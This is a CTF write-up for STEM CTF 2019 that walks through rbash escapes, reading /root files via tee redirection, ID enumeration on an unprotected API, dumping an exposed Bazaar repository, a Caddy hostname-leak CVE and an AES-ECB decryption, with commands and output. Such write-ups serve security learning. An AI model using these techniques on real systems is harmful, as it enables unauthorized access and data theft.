CTF
Name : STEM CTF: Cyber Challenge 2019
Website : mitrestemctf.org
Type : Online
Format : Jeopardy
CTF Time : link
50 - Clean Room - System (Linux)
Goal
For this challenge we are in a restricted shell called rbash (for restricted bash) and our goal is to escape or bypass this restriction to get the flag.
For those who are unfamiliar with rbash , here what it is:
It limits a user's ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:
Using the 'cd' command to change directories.
Setting or unsetting certain environment variables (i.e. SHELL, PATH, etc...).
Specifying command names that contain slashes.
Specifying a filename containing a slash as an argument to the '.' built-in command.
Specifying a filename containing a slash as an argument to the '-p' option to the 'hash' built-in command.
Importing function definitions from the shell environment at startup.
Parsing the value of SHELLOPTS from the shell environment at startup.
Redirecting output using the '>', '>|', ", '>&', '&>', and '>>' redirection operators.
Using the 'exec' built-in to replace the shell with another command.
Adding or deleting built-in commands with the '-f' and '-d' options to the enable built-in.
Using the 'enable' built-in command to enable disabled shell built-ins.
Specifying the '-p' option to the 'command' built-in.
Turning off restricted mode with 'set +r' or 'set +o restricted'.
Intended solution
We begin by connecting to the server with ssh:
Reconnaissance
Let's start with a recon phase, for example echo *
can partially replace ls
to discover filenames.
ctf@856c978dd912:~$ echo *
bin
ctf@2900f82b2e6c:~$ echo .*
. .. .bash_logout .bashrc .profile
Now let's see if we can see some important environment variables:
ctf@856c978dd912:~$ export
declare -x HOME="/home/ctf"
declare -x LOGNAME="ctf"
declare -x LS_COLORS="rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
declare -x MAIL="/var/mail/ctf"
declare -x OLDPWD
declare -rx PATH="/home/ctf/bin"
declare -x PWD="/home/ctf"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="172.18.0.1 37344 22"
declare -x SSH_CONNECTION="172.18.0.1 37344 172.18.0.9 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="ctf"
declare -x VISIBLE="now"
We learnt that our path is limited to PATH="/home/ctf/bin"
so we will only be able to execute binaries that are in this folder.
Then we can see there is only one binary in it:
ctf@856c978dd912:~$ echo /home/ctf/bin/*
/home/ctf/bin/tee
ctf@856c978dd912:~$ echo /home/ctf/bin/.*
/home/ctf/bin/. /home/ctf/bin/..
So the intended way must be to use tee to escape or bypass rbash .
Let's try to use tee to write a script in the PATH so it will be executable:
ctf@d6f1f83e9db4:~$ echo "/bin/bash" | tee /home/ctf/bin/escape
tee: /home/ctf/bin/escape: Permission denied
/bin/bash
But we are not able to do that.
Let's try to write into .bashrc
or .profile
and then source
it to be executed:
ctf@cb693b5f1ec5:~$ echo "/bin/bash" | tee -a /home/ctf/.bashrc
/bin/bash
ctf@cb693b5f1ec5:~$ echo "/bin/bash" | tee -a /home/ctf/.profile
/bin/bash
ctf@cb693b5f1ec5:~$ source .profile
-rbash: .: /home/ctf/.bashrc: restricted
-rbash: PATH: readonly variable
-rbash: /bin/bash: restricted: cannot specify `/' in command names
-rbash: /bin/bash: restricted: cannot specify `/' in command names
ctf@cb693b5f1ec5:~$ source .bashrc
-rbash: dircolors: command not found
-rbash: /bin/bash: restricted: cannot specify `/' in command names
We can't either.
By pressing two times <TAB>
we can list available commands in our environment:
ctf@cb693b5f1ec5:~$ <TAB> <TAB>
! [[ bg caller compgen coproc do elif eval false fi grep if l local popd read select source then true umask wait
./ ]] bind case complete declare done else exec fc for hash in la logout printf readarray set suspend time type unalias while
: alert break cd compopt dirs echo enable exit fg function help jobs let ls pushd readonly shift tee times typeset unset {
[ alias builtin command continue disown egrep esac export fgrep getopts history kill ll mapfile pwd return shopt test trap ulimit until }
Note that exec
for example is present but disallowed.
Bypass
So what to do? Let's RTFM!
From man tee
: tee - read from standard input and write to standard output and files
.
Ok then why not inject a file in standard input so it will be printed to standard output?
ctf@29a879d73211:~$ tee < .profile
# ~/.profile: executed by the command interpreter for login shells.
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
# set PATH so it includes user's private bin directories
This works! Noice! We have replaced cat
by tee < <file>
, we are now enable to read any files.
There is nothing interesting in .bashrc
.
So now we can easily find where the flag is and print it:
ctf@1f7bcf5d48c3:~$ echo /root/*
/root/flag.txt
ctf@1f7bcf5d48c3:~$ tee < /root/flag.txt
MCA{ieHaisoh4eif2ae}
Or for one-liners:
tee < $(echo -n /root/*)
MCA{ieHaisoh4eif2ae}
Unintended solution
For those who did Restricted shells challenge on root-me, you probably know there are a lot of command that allow to invoke a shell and make command execution.
A trivial way is to specify a command to execute after the ssh connection command:
% ssh ctf@138.247.13.108 id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
So we have only to invoke bash
for example:
% ssh ctf@138.247.13.108 bash
We now are out of rbash . Let's see where the flag can be:
ls -lhA /root
total 12K
-rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 21 Feb 19 16:32 flag.txt
cat /root/flag.txt
MCA{ieHaisoh4eif2ae}
100 - TODO - Web
We have the interface of a todolist at http://138.247.13.110/:
Enter something and get redirected to http://138.247.13.110/todolist/1000/
Where we can do a CTRL + U to display the source code as always.
We can see there are two custom JavaScript script included:
lists.js is the one that get our interest, at the end of the script we can read:
// send put request using the data of the get for the same id
var todoURL = '/api/todos/' + todoID + '/'
$ . getJSON ( todoURL , function ( data ) {
data . is_finished = isFinished ;
if ( isFinished ) {
data . finished_at = moment (). toISOString ();
} else {
data . finished_at = null ;
}
$ . ajax ({
url : todoURL ,
type : 'PUT' ,
contentType : 'application/json' ,
data : JSON . stringify ( data ),
success : function () {
location . reload ();
}
});
We can access the private data including the description of every todo liek that:
% curl http://138.247.13.110/api/todos/42/
{"id":42,"todolist":42,"description":"The important things are children, honesty, integrity and faith.","created_at":null,"is_finished":false,"finished_at":null}
So I used the Intruder of Burp Suit to request http://138.247.13.110/api/todos/<id>/
for <id>
from 1 to 1000 and match any content containing MCA{
:
MCA{al3x4_5et_a_r3minder}
150 - My First Blog - Web
http://138.247.13.106/
Bazaar - The worlds best version control!
is a clue there may be a [dvcs][dvcs] (Distributed Version Control System) exposed on the web.
[dvcs];https://en.wikipedia.org/wiki/Distributed_version_control
We can dump the exposed Bazaar repository with dvcs-ripper
% ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.106/.bzr/
[i] Downloading bzr files from http://138.247.13.106/.bzr/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found branch-format
[d] found branch/branch.conf
[d] found branch/format
[d] found branch/last-revision
[d] found branch/tags
[d] found checkout/conflicts
[d] found checkout/dirstate
[d] found checkout/format
[!] Not found for checkout/merge-hashes: 404 Not Found
[d] found checkout/views
[d] found repository/format
[d] found repository/pack-names
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.rix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[d] found repository/packs/c325a543411b3717bd63b6cc879e3d50.pack
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.iix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.cix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Getting repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[d] found repository/indices/c325a543411b3717bd63b6cc879e3d50.tix
[i] Got items with bzr check: 1
[i] Items fetched: 1
[i] Running bzr check to check for missing items
[i] Got items with bzr check: 0
[i] Items fetched: 0
[i] Finished fetching (5/5)
[i] Checking out/Reverting source by calling bzr revert
N index.php
Now we can see or revert previous a commit of the source code file index.php
:
% bzr log
------------------------------------------------------------
revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
% bzr revert
% cat index.php|grep MCA
// Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
50 - Super Secret Hidden Service - Web
% curl -vk https://138.247.13.115
> GET / HTTP/2
> Host: 138.247.13.115
> User-Agent: curl/7.64.0
> Accept: */*
>
* Connection state changed (MAX_CONCURRENT_STREAMS == 250)!
< HTTP/2 421
< content-type: text/plain; charset=utf-8
< server: Caddy
< x-content-type-options: nosniff
< content-length: 56
< date: Sat, 23 Feb 2019 19:21:17 GMT
<
421 Site 138.247.13.115 is not served on this interface
* Connection #0 to host 138.247.13.115 left intact
Caddy
and Site X.X.X.X is not served on this interface
make us know of the usage of Caddy HTTP/2 web server.
Just by searching for caddy vulnerabilities
we find CVE-2018-19148 described in an article entitled Making the Web a Better Place: Fixing Caddy Web Server Hostname Enumeration Vulnerability and the issue was filled on github issue #1303 .
So let's use this vulnerability to leak the domain associated to that IP:
% echo | openssl s_client -showcerts -servername 138.247.13.115 -connect 138.247.13.115:443 2>/dev/null | openssl x509 -inform pem -noout -text 2>/dev/null | grep 'DNS'19-02-23 - 19:54:18
DNS:138.247.13.115.xip.io
% curl -k https://138.247.13.115.xip.io
Flag is: MCA{shuHeimoowaiF5a}
Note: it was not possible to use common OSINT techniques to find the domain.
200 - Medium is overrated - Web
We used the same solution as for My First Blog challenge.
$ ~/CTF/tools/dvcs-ripper/rip-bzr.pl -v -u http://138.247.13.104/.bzr/
Then we can display the commit history (-p
: display a diff (patch) for each revision) for the file index.php
:
% bzr log -p index.php
------------------------------------------------------------
revno: 167
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:21 -0500
message:
Oops
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 23:00:02 +0000
+++ index.php 2018-12-06 23:00:21 +0000
@@ -28,5 +28,4 @@
?>
</div>
</body>
-</html>
-<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
+</html>
\ No newline at end of file
------------------------------------------------------------
revno: 166
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 18:00:02 -0500
message:
CentOS is just RedHat
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:54:52 +0000
+++ index.php 2018-12-06 23:00:02 +0000
@@ -10,6 +10,8 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+ <h1>CentOS is just RedHat</h1>
+ <p>A friend of mine was explaining how the company he works for pays for RedHat. I don't understand why they are LITERALLY throwing their money away since CentOS is just RedHat. In fact, CentOS is even better than RedHat since it discovers the fastest mirror automatically. I'm applying for one of their open job reqs just to give them a piece of my mind.</p>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
@@ -26,4 +28,5 @@
?>
</div>
</body>
-</html>
\ No newline at end of file
+</html>
+<!-- 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077 -->
\ No newline at end of file
------------------------------------------------------------
revno: 156
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:54:52 -0500
message:
Nevermind on the blog post
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 22:52:42 +0000
+++ index.php 2018-12-06 22:54:52 +0000
@@ -10,11 +10,6 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
- <h1>Encryption is so cool!</h1>
- <p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
- <p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
- <p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
- <hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------
revno: 155
committer: BZR Lover
branch nick: filePathTraversalHard
timestamp: Thu 2018-12-06 17:52:42 -0500
message:
Add a new blog post!
diff:
=== modified file 'index.php'
--- index.php 2018-12-06 18:48:25 +0000
+++ index.php 2018-12-06 22:52:42 +0000
@@ -10,6 +10,11 @@
<h1 class="display-4">My Blog</h1>
<p class="lead">Just a spot for me to talk about how much I love Canonical</p>
</div>
+ <h1>Encryption is so cool!</h1>
+ <p>It's so cool that I can paste a block of text here and if its encrypted then none of you will EVER be able to read it! After reading about it, I'm so comfortable with it that I'm willing to paste my Bitcoin Wallet password right here:</p>
+ <p>NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==</p>
+ <p>There's like a whole 3 Bitcoin in there, but none of you will ever be able to get it!</p>
+ <hr>
<h1>I love Canonical</h1>
<p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
<ul>
------------------------------------------------------------
revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
diff:
=== added file 'index.php'
--- index.php 1970-01-01 00:00:00 +0000
+++ index.php 2018-12-06 18:48:25 +0000
@@ -0,0 +1,29 @@
+<html>
+ <head>
+ <title>My Blog</title>
+ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
+ </head>
+ <body>
+
+ <div class="container">
+ <div class="jumbotron">
+ <h1 class="display-4">My Blog</h1>
+ <p class="lead">Just a spot for me to talk about how much I love Canonical</p>
+ </div>
+ <h1>I love Canonical</h1>
+ <p>As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out</p>
+ <ul>
+ <li>Juju - The worlds best configuration management tool!</li>
+ <li>Bazaar - The worlds best version control!</li>
+ <li>Ubuntu - The worlds best OS!</li>
+ <li>Launchpad - GitHub? Gross!</li>
+ </ul>
+ <hr>
+ <h1>Learning PHP</h1>
+ <p>I recently learned about PHP and I can't stop switching everything over to it. In fact, this blog is now powered by PHP, I think! I changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I can't seem to get it to work right. I'll have to look into it later.</p>
+ <?php
+ // Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
+ ?>
+ </div>
+ </body>
+</html>
\ No newline at end of file
So the private bitcoin key is
NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==
Let's base64 decode it:
$ printf %s 'NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==' | base64 -d
5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751
And the AES ECB key must be 6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077
.
We decipher we can use http://aes.online-domain-tools.com/ or in CLI:
% openssl enc -d -aes-256-ecb -in <(printf %s '5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751' | xxd -r -p) -K '6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077'
MCA{I$love$bitcoin$so$much!}